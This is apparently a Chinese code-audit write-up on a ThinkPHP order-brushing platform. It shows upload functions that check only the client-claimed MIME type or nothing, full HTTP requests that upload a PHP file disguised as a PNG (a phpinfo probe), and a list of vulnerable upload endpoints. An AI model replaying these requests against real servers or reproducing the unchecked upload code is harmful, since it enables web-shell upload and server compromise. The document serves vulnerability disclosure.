[代码审计] 某多语言抢单刷单系统

开发语言：PHP开发框架：ThinkPHP后台地址：/admin/login.html代理登录：/agent/login/index.html

public function upload(){        $arr = $_FILES["img"];        //var_dump($arr);        //加限制条件        //1.文件类型        //2.文件大小        //3.保存的文件名不重复        if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )        {        //临时文件的路径        $arr["tmp_name"];        //上传的文件存放的位置        //避免文件重复:         //1.加时间戳.time()加用户名.$uid或者加.date('YmdHis')        //2.类似网盘，使用文件夹来防止重复        $name = '/upload/img/'.date('YmdHis').$arr["name"];        $filename = __DIR__ .'/../../../public'.$name;        //保存之前判断该文件是否存在          if(file_exists($filename))          {            echo "该文件已存在";          }          else          {          //中文名的文件出现问题，所以需要转换编码格式          $filename = iconv("UTF-8","gb2312",$filename);          //移动临时文件到上传的文件存放的位置（核心代码）          //括号里：1.临时文件的路径, 2.存放的路径          $a = move_uploaded_file($arr["tmp_name"],$filename);          return ['img'=>$name];          }        }        else        {          echo "上传的文件大小或类型不符";        }    }

public function upload(){        $file = request()->file('file');        $info = $file->move('uploads');        $filename = $info->getSaveName();        if ($filename){            return ['code'=>1,'data'=>$filename];        }else{            return ['code'=>0];        }    }

http://xxx.xxx.xxx/upload/img/20240421215935screen.php

/sch/recharge/upload/ch/recharge/upload

POST /ch/recharge/upload HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 185Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="116", "Chromium";v="116", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryEBS8wl1vYH9SuABAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X-Requested-With: XMLHttpRequestCookie: sff93b030=kc66cmqa68guosr5qr917src4l------WebKitFormBoundaryEBS8wl1vYH9SuABAContent-Disposition: form-data; name="img"; filename="screen.php"Content-Type: image/png123------WebKitFormBoundaryEBS8wl1vYH9SuABA--

http://xxx.xxx.xxx/uploads/20240421/98a4d3ad19cdf8980d6eb0450b120b67.php

/bx/upload/upload/ch/upload/upload/dg/upload/upload/fg/upload/upload/hl/upload/upload/md/upload/upload/rd/upload/upload/ri/upload/upload/sch/upload/upload/teq/upload/upload/tg/upload/upload/xby/upload/upload/yd/upload/upload/ydl/upload/upload/yn/upload/upload/yue/upload/upload/index/upload/upload

POST /index/upload/upload HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 207Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="116", "Chromium";v="116", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoASMYkoMH51guyUAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X-Requested-With: XMLHttpRequestCookie: sff93b030=fgrg4uiq95647pa3e6s90r9n6q------WebKitFormBoundaryoASMYkoMH51guyUAContent-Disposition: form-data; name="file"; filename="screen.php"Content-Type: image/png<? phpinfo();?>------WebKitFormBoundaryoASMYkoMH51guyUA--

/admin.html?s=admin/api.Update/tree